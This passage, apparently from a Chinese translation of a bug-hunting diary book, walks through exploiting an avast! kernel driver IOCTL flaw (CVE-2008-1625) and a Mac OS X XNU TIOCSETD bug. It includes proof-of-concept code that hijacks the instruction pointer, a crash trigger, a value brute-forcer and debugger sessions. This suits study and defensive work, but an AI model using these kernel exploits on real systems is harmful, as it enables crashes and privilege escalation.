40 sizeof (szDriver) / sizeof (szDriver[0]))) {
41 if (!strncmp (szDriver, drivername, 8)) {
42 printf ("%s (%08x)\n", szDriver, drivers[i]);
43 return (unsigned int)(drivers[i]);
44 }
45 }
46 }
47 }
48
49 fprintf (stderr, "ERROR: cannot get address of driver %s\n", drivername);
50
51 return 0;
52 }
53
54 int
55 main (void)
56 {
57 HANDLE hDevice;
58 char * InputBuffer = NULL;
59 BOOL retval = TRUE;
60 unsigned int driveraddr = 0;
61 unsigned int pattern1 = 0xD0DEAD07;
62 unsigned int pattern2 = 0x10BAD0BA;
63 unsigned int addr_to_overwrite = 0; // address to overwrite
64 char data[2048];
65
66 // get the base address of the driver
67 if (!(driveraddr = GetDriverLoadAddress ("Aavmker4"))) {
68 return 1;
69 }
70
71 // address of the function pointer at .data:00012460 that gets overwritten
72 addr_to_overwrite = driveraddr + 0x2460;
73
74 // allocate InputBuffer
75 InputBuffer = (char *)VirtualAlloc ((LPVOID)0,
76 INPUTBUFFER_SIZE,
77 MEM_COMMIT | MEM_RESERVE,
78 PAGE_EXECUTE_READWRITE);
79
80 /////////////////////////////////////////////////////////////////////////////
81 // InputBuffer data:
82 //
83 // .text:00010DC9 mov esi, [ebx+0Ch] ; ESI == InputBuffer
84
85 // fill InputBuffer with As
86 memset (InputBuffer, 0x41, INPUTBUFFER_SIZE);
87
88 // .text:00010DE6 mov eax, [esi+870h] ; EAX == pointer to "data"
89 memset32 (InputBuffer + 0x870, (unsigned int)&data, 1);
90
91 /////////////////////////////////////////////////////////////////////////////
92 // data:
93 //
94
95 // As the "data" buffer is used as a parameter for a
"KeSetEvent" windows kernel
96 // function, it needs to contain some valid pointers
(.text:00010E2C call ds:KeSetEvent)
97 memset32 (data, (unsigned int)&data, sizeof (data) / sizeof (unsigned int));
98
99 // .text:00010DEF cmp dword ptr [eax], 0D0DEAD07h ; EAX == pointer to "data"
100 memset32 (data, pattern1, 1);
101
102 // .text:00010DF7 cmp dword ptr [eax+4], 10BAD0BAh ; EAX
== pointer to "data"
103 memset32 (data + 4, pattern2, 1);
104
105 // .text:00010E18 mov edi, [eax+18h] ; EAX == pointer to "data"
106 memset32 (data + 0x18, addr_to_overwrite, 1);
107
108 /////////////////////////////////////////////////////////////////////////////
109 // open device
110 hDevice = CreateFile (TEXT("\\\\.\\AavmKer4"),
111 GENERIC_READ | GENERIC_WRITE,
112 FILE_SHARE_READ | FILE_SHARE_WRITE,
113 NULL,
114 OPEN_EXISTING,
115 0,
116 NULL);
117
118 if (hDevice != INVALID_HANDLE_VALUE) {
119 DWORD retlen = 0;
120
121 // send evil IOCTL request
122 retval = DeviceIoControl (hDevice,
123 IOCTL,
124 (LPVOID)InputBuffer,
125 INPUTBUFFER_SIZE,
126 (LPVOID)NULL,
127 0,
128 &retlen,
129 NULL);
130
131 if (!retval) {
132 fprintf (stderr, "[-] Error: DeviceIoControl failed\n");
133 }
134
135 } else {
136 fprintf (stderr, "[-] Error: Unable to open device.\n");
137 }
138
139 return (0);
140 }
在示例 6-2")的第 67 行,驱动程序在内存中的基本地址存储在driveraddr中。然后,在第 72 行,计算函数指针的地址;这个地址被通过操作的memcpy()调用覆盖。在第 75 行分配了一个INPUTBUFFER_SIZE(0x878)字节的缓冲区。这个缓冲区包含 IOCTL 输入数据,并用十六进制值0x41填充(见第 86 行)。然后,将另一个数据数组的指针复制到输入数据缓冲区中(见第 89 行)。在驱动程序的汇编代码中,这个指针在地址.text:00010DE6处被引用:mov eax, [esi+870h]。
在调用memcpy()函数之后,直接调用了内核函数KeSetEvent():
[..]
.text:00010E10 add esi, 4 ; source address
.text:00010E13 mov ecx, 21Ah ; length
.text:00010E18 mov edi, [eax+18h] ; destination address
.text:00010E1B rep movsd ; memcpy()
.text:00010E1D dec PendingCount2
.text:00010E23 inc dword ptr [eax+20h]
.text:00010E26 push edx ; Wait
.text:00010E27 push edx ; Increment
.text:00010E28 add eax, 8
`.text:00010E2B push eax ; Parameter of KeSetEvent`
`.text:00010E2B ; (eax = IOCTL input data)`
`.text:00010E2C call ds:KeSetEvent ; KeSetEvent is called`
.text:00010E32 xor edi, edi
[..]
由于EAX指向的用户数据被用作此函数的参数(见.text:00010E2B),数据缓冲区需要填充有效的指针以防止访问违规。我将整个缓冲区填充了自己的有效用户空间地址(见第 97 行)。然后在第 100 行和第 103 行,将两个预期的模式复制到数据缓冲区中(见.text:00010DEF和.text:00010DF7),在第 106 行,将memcpy()函数的目标地址复制到数据缓冲区中(.text:00010E18 mov edi, [eax+18h])。然后打开驱动程序的设备进行读写(见第 110 行),并将恶意 IOCTL 请求发送到有漏洞的内核驱动程序(见第 122 行)。
在我开发了那个 POC 代码后,我启动了 Windows XP VMware 虚拟机系统,并将 WinDbg 连接到内核(有关以下调试器命令的描述,请参阅 B.2 节):
kd> `.sympath SRV*c:\WinDBGSymbols*http://msdl.microsoft.com/download/symbols`
kd> `.reload`
[..]
kd> `g`
Break instruction exception - code 80000003 (first chance)
*******************************************************************************
* *
* You are seeing this message because you pressed either *
* CTRL+C (if you run kd.exe) or, *
* CTRL+BREAK (if you run WinDBG), *
* on your debugger machine's keyboard. *
* *
* THIS IS NOT A BUG OR A SYSTEM CRASH *
* *
* If you did not intend to break into the debugger, press the "g" key, then *
* press the "Enter" key now. This message might immediately reappear. If it *
* does, press "g" and "Enter" again. *
* *
*******************************************************************************
nt!RtlpBreakWithStatusInstruction:
80527bdc cc int 3
kd> `g`
我使用 Visual Studio 的命令行编译器 (cl) 编译了 POC 代码,并在 VMware 虚拟机系统内部以无权限用户身份执行它:
C:\BHD\avast>`cl /nologo poc.c psapi.lib`
C:\BHD\avast>`poc.exe`
在我执行了 POC 代码后,没有任何反应。那么我该如何确定函数指针是否被成功操作了呢?嗯,我只需要通过打开任意可执行文件来触发防病毒引擎。我打开了 Internet Explorer,并在调试器中得到了以下信息:
#################### AAVMKER: WRONG RQ ######################!
Access violation - code c0000005 (!!! second chance !!!)
41414141 ?? ???
是的!指令指针似乎完全在我的控制之下。为了验证这一点,我向调试器请求更多信息:
kd> `kb`
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
`ee91abc0 f7925da3 862026a8 e1cd33a8 00000001 0x41414141`
ee91ac34 804ee119 86164030 860756b8 806d22d0 Aavmker4+0xda3
ee91ac44 80574d5e 86075728 861494e8 860756b8 nt!IopfCallDriver+0x31
ee91ac58 80575bff 86164030 860756b8 861494e8 nt!IopSynchronousServiceTail+0x70
ee91ad00 8056e46c 0000011c 00000000 00000000 nt!IopXxxControlFile+0x5e7
ee91ad34 8053d638 0000011c 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
ee91ad34 7c90e4f4 0000011c 00000000 00000000 nt!KiFastCallEntry+0xf8
0184c4d4 650052be 0000011c b2d60034 0184ff74 0x7c90e4f4
0184ffb4 7c80b713 0016d2a0 00150000 0016bd90 0x650052be
0184ffec 00000000 65004f98 0016d2a0 00000000 0x7c80b713
kd> `r`
eax=862026a8 ebx=860756b8 ecx=b2d6005b edx=00000000 esi=00000008 edi=861494e8
`eip=41414141` esp=ee91abc4 ebp=ee91ac34 iopl=0 nv up ei pl nz na po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202
41414141 ?? ???
如 图 6-7 所示的利用过程如下:
-
输入数据的长度是
0x878吗?如果是,请进行步骤 2。 -
用户空间缓冲区
data被引用。 -
在
data[0]和data[4]是否找到了预期的模式?如果是,请进行步骤 4。![我对 avast! 漏洞的利用示意图]()
图 6-7. 我对 avast! 漏洞的利用示意图
-
memcpy()调用的目标地址被引用。 -
memcpy()函数将 IOCTL 输入数据复制到内核的.data区域。 -
被操作的函数指针完全控制了
EIP。
如果在未连接内核调试器的情况下执行 POC 代码,将出现著名的蓝屏死机 (BSoD)(请参阅 图 6-8"))。

图 6-8. 死机蓝屏 (BSoD)
在我控制了 EIP 之后,我开发了两个利用程序。其中一个授予任何请求的用户 SYSTEM 权限(权限提升),另一个使用众所周知的直接内核对象操作 (DKOM) 技术将 rootkit 安装到内核中。^([72)])
严格的法律禁止我提供完整的、可工作的利用程序,但如果您感兴趣,您可以在本书的网站上观看利用程序的实际操作视频。^([73)])
6.3 漏洞修复
注意
2008 年 3 月 29 日,星期六
我于 2008 年 3 月 18 日向 ALWIL Software 报告了该漏洞,并且它今天发布了 avast! 的更新版本。哇,对于一个商业软件供应商来说,这真的很快!
6.4 经验教训
作为一名程序员和内核驱动开发者:
-
为导出的设备对象定义严格的网络安全设置。不允许无权限用户从这些设备中读取或写入。
-
总是要小心验证输入数据是否正确。
-
内存复制操作的目标地址不应从用户提供的数据中提取。
6.5 补遗
注意
星期日,2008 年 3 月 30 日
由于漏洞已修复,并且现在有新的 avast!版本可用,我今天在我的网站上发布了一份详细的安全警告。^[[74]) 漏洞被分配了 CVE-2008-1625 编号。图 6-9 显示了漏洞修复的时间线。

图 6-9. 从供应商通知到发布我的安全警告的时间线
备注
^([57])
^([58])
^([59])
^([60])
^([61])
^([62])
^([63])
^([64])
^([65])
^([66])
^([67])
^([68])
^([69])
^([70])
^([71])
^([72])
^([73])
^([74])
^([57]) 请参阅 SANS Top 20 互联网安全问题和风险(2007 年年度更新),www.sans.org/top20/2007/。
^([58]) 请参阅www.virustotal.com/。
^([59]) 请参阅www.avast.com/。
^([60]) 请参阅www.vmware.com/。
^([61]) WinDbg,微软的“官方”Windows 调试器,作为免费“Windows 调试工具”套件的一部分进行分发,可在www.microsoft.com/whdc/DevTools/Debugging/default.mspx找到。
^([62]) 您可以在www.trapkit.de/books/bhd/找到 avast! Professional 4.7 的易受攻击的试用版下载链接。
^([63]) 请参阅www.nirsoft.net/utils/driverview.html。
^([64]) 请参阅www.hex-rays.com/idapro/。
^([65]) 请参阅 Mark E. Russinovich 和 David A. Solomon 的《Microsoft Windows Internals:Microsoft Windows Server 2003、Windows XP 和 Windows 2000,第 4 版》。 (雷德蒙德,华盛顿州:微软出版社,2005 年)。
^([66]) 请参阅 MSDN 库:Windows 开发:Windows 驱动程序开发工具包:内核模式驱动程序架构:参考:标准驱动程序例程:DriverEntry,msdn.microsoft.com/en-us/library/ff544113.aspx。
^([67]) WinObj 可在technet.microsoft.com/en-us/sysinternals/bb896657.aspx找到。
^([68]) Windows 驱动程序工具包的下载地址为 www.microsoft.com/whdc/devtools/WDK/default.mspx。
^([69]) 请参阅 MSDN 库:Windows 开发:Windows 驱动程序工具包:内核模式驱动程序架构:参考:标准驱动程序例程:DispatchDeviceControl,可在 msdn.microsoft.com/en-us/library/ff543287.aspx 找到。
^([70]) 请参阅 MSDN 库:Windows 开发:Windows 驱动程序工具包:内核模式驱动程序架构:参考:内核数据类型:系统定义的数据结构:IRP,可在 msdn.microsoft.com/en-us/library/ff550694.aspx 找到。
^([71]) 请参阅 MSDN 库:Windows 开发:Windows 驱动程序工具包:内核模式驱动程序架构:设计指南:编写 WDM 驱动程序:管理驱动程序的输入/输出:处理 IRPs:使用 I/O 控制代码:I/O 控制代码的缓冲区描述,可在 msdn.microsoft.com/en-us/library/ff540663.aspx 找到。
^([72]) 请参阅 Jamie Butler 的 DKOM (Direct Kernel Object Manipulation)(演示文稿,Black Hat Europe,阿姆斯特丹,2004 年 5 月),可在 www.blackhat.com/presentations/win-usa-04/bh-win-04-butler.pdf 找到。
^([73]) 请参阅 www.trapkit.de/books/bhd/.
^([74]) 描述 avast! 漏洞详细信息的我的安全咨询报告可在 www.trapkit.de/advisories/TKADV2008-002.txt 找到。
第七章:比 4.4BSD 更古老的漏洞
注意
2007 年 3 月 3 日星期六
亲爱的日记,
上周我的 Apple MacBook 终于到了。在熟悉了 Mac OS X 平台后,我决定更仔细地查看 OS X 的 XNU 内核。在花了几小时挖掘内核代码后,我发现了一个当内核尝试处理特殊 TTY IOCTL 时出现的良好漏洞。这个漏洞很容易触发,我编写了一个 POC 代码,允许无特权的本地用户通过内核恐慌使系统崩溃。像往常一样,我接着尝试开发一个利用程序,看看这个漏洞是否允许任意代码执行。这时,事情变得有点复杂。为了开发利用代码,我需要一种调试 OS X 内核的方法。如果你拥有两台 Mac,这不成问题,但我只有一台:我的全新 MacBook。
7.1 漏洞发现
首先,我下载了 XNU 内核的最新源代码版本,^([75]) 然后我以以下方式搜索漏洞:
注意
我在本章中使用了装有 OS X 10.4.8 和内核版本 xnu-792.15.4.obj~4/RELEASE_I386 的 Intel Mac 作为平台。
-
第一步:列出内核的 IOCTL。
-
第二步:确定输入数据。
-
第三步:跟踪输入数据。
这些步骤将在以下章节中详细说明。
第一步:列出内核的 IOCTL
要生成内核的 IOCTL 列表,我只需在内核源代码中搜索常用的 IOCTL 宏。每个 IOCTL 都分配了自己的编号,通常由宏创建。根据 IOCTL 类型,OS X 的 XNU 内核定义了以下宏:_IOR、_IOW 和 _IOWR。
osx$ `pwd`
/Users/tk/xnu-792.13.8
osx$ `grep -rnw -e _IOR -e _IOW -e _IOWR *`
[..]
xnu-792.13.8/bsd/net/bpf.h:161:#define BIOCGRSIG _IOR('B',114, u_int)
xnu-792.13.8/bsd/net/bpf.h:162:#define BIOCSRSIG _IOW('B',115, u_int)
xnu-792.13.8/bsd/net/bpf.h:163:#define BIOCGHDRCMPLT _IOR('B',116, u_int)
xnu-792.13.8/bsd/net/bpf.h:164:#define BIOCSHDRCMPLT _IOW('B',117, u_int)
xnu-792.13.8/bsd/net/bpf.h:165:#define BIOCGSEESENT _IOR('B',118, u_int)
xnu-792.13.8/bsd/net/bpf.h:166:#define BIOCSSEESENT _IOW('B',119, u_int)
[..]
现在,我有了 XNU 内核支持的 IOCTL 列表。为了找到实现 IOCTL 的源文件,我搜索了整个内核源代码中的列表中的每个 IOCTL 名称。以下是一个 BIOCGRSIG IOCTL 的示例:
osx$ `grep --include=*.c -rn BIOCGRSIG *`
xnu-792.13.8/bsd/net/bpf.c:1143: case BIOCGRSIG:
第二步:确定输入数据
为了确定 IOCTL 请求的用户提供的输入数据,我查看了一些处理请求的内核函数。我发现这些函数通常期望一个名为 cmd 的 u_long 类型的参数和一个名为 data 的 caddr_t 类型的第二个参数。
这里有一些示例:
源代码文件
xnu-792.13.8/bsd/netat/at.c
[..]
135 int
136 at_control(so, `cmd`, `data`, ifp)
137 struct socket *so;
138 `u_long cmd;`
139 `caddr_t data;`
140 struct ifnet *ifp;
141 {
[..]
源代码文件
xnu-792.13.8/bsd/net/if.c
[..]
1025 int
1026 ifioctl(so, `cmd`, `data`, p)
1027 struct socket *so;
1028 `u_long cmd;`
1029 `caddr_t data;`
1030 struct proc *p;
1031 {
[..]
源代码文件
xnu-792.13.8/bsd/dev/vn/vn.c
[..]
877 static int
878 vnioctl(dev_t dev, `u_long cmd`, `caddr_t data`,
879 __unused int flag, struct proc *p,
880 int is_char)
881 {
[..]
这些函数参数的名称相当描述性:cmd 参数包含请求的 IOCTL 代码,而 data 参数包含用户提供的 IOCTL 数据。
在 Mac OS X 上,通常使用 ioctl() 系统调用来向内核发送 IOCTL 请求。这个系统调用的原型如下:
osx$ `man ioctl`
[..]
`SYNOPSIS`
`#include <sys/ioctl.h>`
int
`ioctl`(int d, unsigned long request, char *argp);
`DESCRIPTION`
The `ioctl()` function manipulates the underlying device parameters of spe-
cial files. In particular, many operating characteristics of character
special files (e.g. terminals) may be controlled with `ioctl()` requests.
The argument d must be an open file descriptor.
An ioctl request has encoded in it whether the argument is an "in"
parameter or "out" parameter, and the size of the argument argp in
bytes. Macros and defines used in specifying an ioctl request are
located in the file <sys/ioctl.h>.
[..]
如果向内核发送 IOCTL 请求,则必须将 request 参数填充为适当的 IOCTL 代码,并将 argp 参数填充为用户提供的 IOCTL 输入数据。ioctl() 的 request 和 argp 参数对应于内核函数参数 cmd 和 data。
我找到了我想要的东西:大多数处理传入 IOCTL 请求的内核函数都接受一个名为 data 的参数,该参数包含或指向用户提供的 IOCTL 输入数据。
第 3 步:追踪输入数据
在我发现内核中处理 IOCTL 请求的位置后,我在寻找潜在漏洞位置的同时追踪了内核函数中的输入数据。在阅读代码时,我遇到了一些看起来很有趣的位置。我发现的最有意思的潜在漏洞是当内核尝试处理一个特殊的 TTY IOCTL 请求时。以下列表显示了 XNU 内核源代码中的相关行。
源代码文件
xnu-792.13.8/bsd/kern/tty.c
[..]
816 /*
817 * Ioctls for all tty devices. Called after line-discipline specific ioctl
818 * has been called to do discipline-specific functions and/or reject any
819 * of these ioctl commands.
820 */
821 /* ARGSUSED */
822 int
823 ttioctl(register struct tty *tp,
824 `u_long cmd`, `caddr_t data`, int flag,
825 struct proc *p)
826 {
[..]
`872 switch (cmd) { /* Process the ioctl. */`
[..]
`1089 case TIOCSETD: { /* set line discipline */`
`1090 register int t = *(int *)data;`
1091 dev_t device = tp->t_dev;
1092
`1093 if (t >= nlinesw)`
1094 return (ENXIO);
`1095 if (t != tp->t_line) {`
1096 s = spltty();
1097 (*linesw[tp->t_line].l_close)(tp, flag);
`1098 error = (*linesw[t].l_open)(device, tp);`
1099 if (error) {
1100 (void)(*linesw[tp->t_line].l_open)(device, tp);
1101 splx(s);
1102 return (error);
1103 }
1104 tp->t_line = t;
1105 splx(s);
1106 }
1107 break;
1108 }
[..]
如果向内核发送 TIOCSETD IOCTL 请求,则选择第 1089 行的 switch case。在第 1090 行,用户提供的 data 类型为 caddr_t,它仅仅是 char * 的 typedef,被存储在有符号整型变量 t 中。然后在第 1093 行,将 t 的值与 nlinesw 进行比较。由于 data 是由用户提供的,因此可能提供一个字符串值,该值对应于 0x80000000 或更大的无符号整数值。如果这样做,由于第 1090 行的类型转换,t 将会得到一个负值。示例 7-1") 说明了 t 如何变成负值:
示例 7-1. 展示类型转换行为的示例程序 (conversion_bug_example.c)
01 typedef char * caddr_t;
02
03 // output the bit pattern
04 void
05 bitpattern (int a)
06 {
07 int m = 0;
08 int b = 0;
09 int cnt = 0;
10 int nbits = 0;
11 unsigned int mask = 0;
12
13 nbits = 8 * sizeof (int);
14 m = 0x1 << (nbits - 1);
15
16 mask = m;
17 for (cnt = 1; cnt <= nbits; cnt++) {
18 b = (a & mask) ? 1 : 0;
19 printf ("%x", b);
20 if (cnt % 4 == 0)
21 printf (" ");
22 mask >>= 1;
23 }
24 printf ("\n");
25 }
26
27 int
28 main ()
29 {
30 caddr_t data = "\xff\xff\xff\xff";
31 int t = 0;
32
33 t = *(int *)data;
34
35 printf ("Bit pattern of t: ");
36 bitpattern (t);
37
38 printf ("t = %d (0x%08x)\n", t, t);
39
40 return 0;
41 }
第 30、31 和 33 行几乎与 OS X 内核源代码中的行相同。在这个例子中,我选择了硬编码的值 0xffffffff 作为 IOCTL 输入数据(见第 30 行)。在第 33 行进行类型转换后,打印了位模式以及 t 的十进制值到控制台。当执行示例程序时,会得到以下输出:
osx$ `gcc -o conversion_bug_example conversion_bug_example.c`
osx$ `./conversion_bug_example`
Bit pattern of t: 1111 1111 1111 1111 1111 1111 1111 1111
t = −1 (0xffffffff)
输出显示,如果将由 4 个 0xff 字节值组成的字符串转换为有符号整型,t 将得到 -1 的值。有关类型转换及其相关安全问题的更多信息,请参阅附录 A.3。
如果 t 为负,内核代码第 1093 行的检查将返回 FALSE,因为有符号整型变量 nlinesw 的值大于零。如果发生这种情况,用户提供的 t 值将得到进一步的处理。在第 1098 行,t 的值被用作函数指针数组中的索引。由于我可以控制该数组中的索引,我可以指定内核将执行的任意内存位置。这导致了对内核执行流程的完全控制。感谢苹果公司,这个出色的漏洞!
这里是漏洞的解剖结构,如图 图 7-1 所示:
-
函数指针数组
linesw[]被引用。 -
用户控制的
t值被用作linesw[]数组的索引。 -
根据 用户可控的内存位置,引用了
l_open()函数的假设地址。 -
l_open()假设地址被引用并调用。 -
l_open()假设地址的值被复制到指令指针(EIP寄存器)。

图 7-1. 我在 OS X 的 XNU 内核中发现的漏洞描述
因为t的值是由用户提供的(见(2)),所以可以控制被复制到EIP的值的地址。
7.2 利用
在我发现这个漏洞之后,我做了以下操作来控制EIP:
-
第一步:触发系统崩溃(拒绝服务)的漏洞
-
第二步:准备内核调试环境。
-
第三步:将调试器连接到目标系统。
-
第四步:控制
EIP。
第一步:触发系统崩溃(拒绝服务)
一旦我发现了这个漏洞,触发它并导致系统崩溃就变得很容易。我需要做的只是向内核发送一个格式错误的TIOCSETD IOCTL 请求。示例 7-2 展示了我所开发的用于导致崩溃的 POC 的源代码。
示例 7-2. 我编写的用于触发在 OS X 内核中发现的漏洞的 POC 代码(poc.c)
01 #include <sys/ioctl.h>
02
03 int
04 main (void)
05 {
06 unsigned long ldisc = 0xff000000;
07
08 ioctl (0, TIOCSETD, &ldisc);
09
10 return 0;
11 }
一台全新的 MacBook:$1,149。一台 LED Cinema Display 显示器:$899。仅用 11 行代码就崩溃了 Mac OS X 系统:无价之宝。
我随后以非特权用户身份编译并测试了 POC 代码:
osx$ `uname -a`
Darwin osx 8.8.3 Darwin Kernel Version 8.8.3: Wed
Oct 18 21:57:10 PDT 2006; →
root:xnu-792.15.4.obj~/RELEASE_I386 i386 i386
osx$ `id`
uid=502(seraph) gid=502(seraph) groups=502(seraph)
osx$ `gcc -o poc poc.c`
osx$ `./poc`
执行 POC 代码后,我看到了标准的 Mac OS X 崩溃屏幕,^([76]) 如图 7-2 所示。

图 7-2. Mac OS X 内核恐慌信息
如果发生此类内核恐慌,崩溃的详细信息将被添加到 /Library/Logs/ 文件夹中的日志文件中。我重新启动了系统并打开了该文件。
osx$ `cat /Library/Logs/panic.log`
Sat Mar 3 13:30:58 2007
panic(cpu 0 caller 0x001A31CE): Unresolved kernel trap (CPU 0, Type
14=page fault), registers:
CR0: 0x80010033, CR2: 0xe0456860, CR3: 0x00d8a000, CR4: 0x000006e0
EAX: 0xe0000000, EBX: 0xff000000, ECX: 0x04000001, EDX: 0x0386c380
CR2: 0xe0456860, EBP: 0x250e3d18, ESI: 0x042fbe04, EDI: 0x00000000
EFL: 0x00010287, EIP: 0x0035574c, CS: 0x00000008, DS: 0x004b0010
Backtrace, Format - Frame : Return Address (4 potential args on stack)
0x250e3a68 : 0x128d08 (0x3c9a14 0x250e3a8c 0x131de5 0x0)
0x250e3aa8 : 0x1a31ce (0x3cf6c8 0x0 0xe 0x3ceef8)
0x250e3bb8 : 0x19a874 (0x250e3bd0 0x1 0x0 0x42fbe04)
0x250e3d18 : 0x356efe (0x42fbe04 0x8004741b 0x250e3eb8 0x3)
0x250e3d68 : 0x1ef4de (0x4000001 0x8004741b 0x250e3eb8 0x3)
0x250e3da8 : 0x1e6360 (0x250e3dd0 0x297 0x250e3e08 0x402a1f4)
0x250e3e08 : 0x1de161 (0x3a88084 0x8004741b 0x250e3eb8 0x3)
0x250e3e58 : 0x330735 (0x4050440
*********
看起来我可以作为一个非特权用户使系统崩溃。我是否也可以在 OS X 内核的特权上下文中执行任意代码?为了回答这个问题,我必须深入了解内核的内部工作原理。
第二步:准备内核调试环境
到这一点,我需要能够调试内核。如我之前提到的,如果你拥有两台 Mac,这没问题,但我手头只有一台 MacBook。因此,我必须找到另一种调试内核的方法。我通过在 Linux 主机上构建和安装 Apple 的 GNU 调试器来解决这个问题,然后将主机连接到我的 MacBook。有关构建此类调试器主机系统的说明,请参阅第 B.5 节。
第 3 步:将调试器连接到目标系统
在 Linux 主机上构建完 Apple 的 gdb 之后,我使用以太网交叉线缆将系统连接起来,如图图 7-3 所示。

图 7-3. 我为远程调试 Mac OS X 内核的设置
然后,我启动了 Mac OS X 目标系统,启用了远程内核调试,并重新启动了系统,以便更改生效:^([77])
osx$ `sudo nvram boot-args="debug=0x14e"`
osx$ `sudo reboot`
在 Mac OS X 目标机器重新启动后,我启动了 Linux 主机,并确保我能够连接到目标机器:
linux$ `ping -c1 10.0.0.2`
PING 10.0.0.2 (10.0.0.2) from 10.0.0.3 : 56(84) bytes of data.
64 bytes from 10.0.0.2: icmp_seq=1 ttl=64 time=1.08 ms
--- 10.0.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% loss, time 0ms
rtt min/avg/max/mdev = 1.082/1.082/1.082/0.000 ms
我在 Linux 系统上为目标添加了一个永久的 ARP 条目,以在两台机器之间建立稳定的连接,确保在调试目标机器的内核时连接不会断开:
linux$ `su -`
Password:
linux# `arp -an`
? (10.0.0.1) at 00:24:E8:A8:64:DA [ether] on eth0
? (10.0.0.2) at 00:17:F2:F0:47:19 [ether] on eth0
linux# `arp -s 10.0.0.2 00:17:F2:F0:47:19`
linux# `arp -an`
? (10.0.0.1) at 00:24:E8:A8:64:DA [ether] on eth0
? (10.0.0.2) at 00:17:F2:F0:47:19 [ether] `PERM` on eth0
然后,我以无权限用户身份登录到 Mac OS X 系统,并通过轻触系统的电源按钮生成一个不可屏蔽中断(NMI)。这让我在 MacBook 的屏幕上看到了以下输出:
Debugger called: <Button SCI>
Debugger called: <Button SCI>
cpu_interrupt: sending enter debugger signal (00000002) to cpu 1
ethernet MAC address: 00:17:f2:f0:47:19
ethernet MAC address: 00:17:f2:f0:47:19
ip address: 10.0.0.2
ip address: 10.0.0.2
Waiting for remote debugger connection.
在 Linux 主机上,我启动了内核调试器(有关如何构建此 gdb 版本的更多信息,请参阅第 B.5 节):
linux# `gdb_osx KernelDebugKit_10.4.8/mach_kernel`
GNU gdb 2003-01-28-cvs (Mon Mar 5 16:54:25 UTC 2007)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "--host= --target=i386-apple-darwin".
然后,我指示调试器使用 Apple 的内核调试协议(kdp):
(gdb) `target remote-kdp`
一旦调试器开始运行,我就第一次将其连接到目标系统的内核:
(gdb) `attach 10.0.0.2`
Connected.
0x001a8733 in lapic_dump () at /SourceCache/xnu/xnu-792.13.8/osfmk/i386/mp.c:332
332 int i;
如调试器输出所示,似乎一切正常!当时 OS X 系统已经冻结,所以我继续使用以下调试器命令执行内核的执行:
(gdb) `continue`
Continuing.
现在已经为远程调试 Mac OS X 目标系统的内核做好了准备。
第 4 步:控制 EIP
在成功将调试器连接到目标系统的内核之后,我在 Mac OS X 机器上打开了一个终端,并再次执行了示例 7-2 中描述的 POC 代码:
osx$ `id`
uid=502(seraph) gid=502(seraph) groups=502(seraph)
osx$ `./poc`
OS X 系统立即冻结,我在 Linux 主机上得到了以下调试器输出:
Program received signal SIGTRAP, Trace/breakpoint trap.
0x0035574c in ttsetcompat (tp=0x37e0804, com=0x8004741b,
data=0x2522beb8 "", → term=0x3)
at /SourceCache/xnu/xnu-792.13.8/bsd/kern/tty_compat.c:145
145 */
为了查看导致SIGTRAP信号的真正原因,我查看了最后执行的内核指令(有关以下调试器命令的描述,请参阅第 B.4 节):
(gdb) `x/1i $eip`
0x35574c <ttsetcompat+138>: call *0x456860(%eax)
显然,崩溃发生在内核尝试调用由EAX寄存器引用的地址时。接下来,我查看了寄存器的值:
(gdb) `info registers`
`eax 0xe0000000` −536870912
ecx 0x4000001 67108865
edx 0x386c380 59163520
ebx 0xff000000 −16777216
esp 0x2522bc18 0x2522bc18
ebp 0x2522bd18 0x2522bd18
esi 0x37e0804 58591236
edi 0x0 0
eip 0x35574c 0x35574c
eflags 0x10287 66183
cs 0x8 8
ss 0x10 16
ds 0x4b0010 4915216
es 0x340010 3407888
fs 0x25220010 622985232
gs 0x48 72
调试器输出显示 EAX 的值为 0xe0000000。对我来说,这个值从哪里来并不明显,所以我反汇编了 EIP 附近的指令:
(gdb) `x/6i $eip - 15`
`0x35573d <ttsetcompat+123>: mov %ebx,%eax`
`0x35573f <ttsetcompat+125>: shl $0x5,%eax`
0x355742 <ttsetcompat+128>: mov %esi,0x4(%esp,1)
0x355746 <ttsetcompat+132>: mov 0xffffffa8(%ebp),%ecx
0x355749 <ttsetcompat+135>: mov %ecx,(%esp,1)
`0x35574c <ttsetcompat+138>: call *0x456860(%eax)`
注意
请注意,反汇编是 AT&T 风格。
在地址 0x35573d,EBX 的值被复制到 EAX。下一条指令通过左移 5 位修改了这个值。在地址 0x35574c,这个值被用于计算 call 指令的操作数。那么 EBX 的值是从哪里来的?快速查看寄存器值揭示,EBX 正在保持值 0xff000000,这是我作为 TIOCSETD IOCTL 输入数据提供的值。0xe0000000 是我将提供的输入值左移 5 位的结果。正如预期的那样,我能够控制用于找到 EIP 寄存器新值的内存位置。我提供的输入数据的修改可以表示为
address of the new value for EIP = (IOCTL input data value << 5) + 0x456860
我可以通过两种方式为特定内存地址获取适当的 TIOCSETD 输入数据值:我可以尝试解决数学问题,或者我可以暴力破解这个值。我决定选择简单的方法,并编写以下程序来暴力破解这个值:
示例 7-3. 我编写的用于暴力破解 TIOCSETD 输入数据值的代码 (addr_brute_force.c)
01 #include <stdio.h>
02
03 #define MEMLOC 0x10203040
04 #define SEARCH_START 0x80000000
05 #define SEARCH_END 0xffffffff
06
07 int
08 main (void)
09 {
10 unsigned int a, b = 0;
11
12 for (a = SEARCH_START; a < SEARCH_END; a++) {
13 b = (a << 5) + 0x456860;
14 if (b == MEMLOC) {
15 printf ("Value: %08x\n", a);
16 return 0;
17 }
18 }
19
20 printf ("No valid value found.\n");
21
22 return 1;
23 }
我编写了这个程序来回答这个问题:为了将内存地址 0x10203040 的值复制到 EIP 寄存器,我需要向内核发送什么样的 TIOCSETD 输入数据?
osx$ `gcc -o addr_brute_force addr_brute_force.c`
osx$ `./addr_brute_force`
Value: 807ed63f
如果 0x10203040 指向我想复制到 EIP 的值,我必须提供值 0x807ed63f 作为 TIOCSETD IOCTL 的输入。
然后,我尝试操纵 EIP,使其指向地址 0x65656565。为了实现这一点,我必须找到内核中指向该值的内存位置。为了找到内核中的合适内存位置,我编写了以下 gdb 脚本:
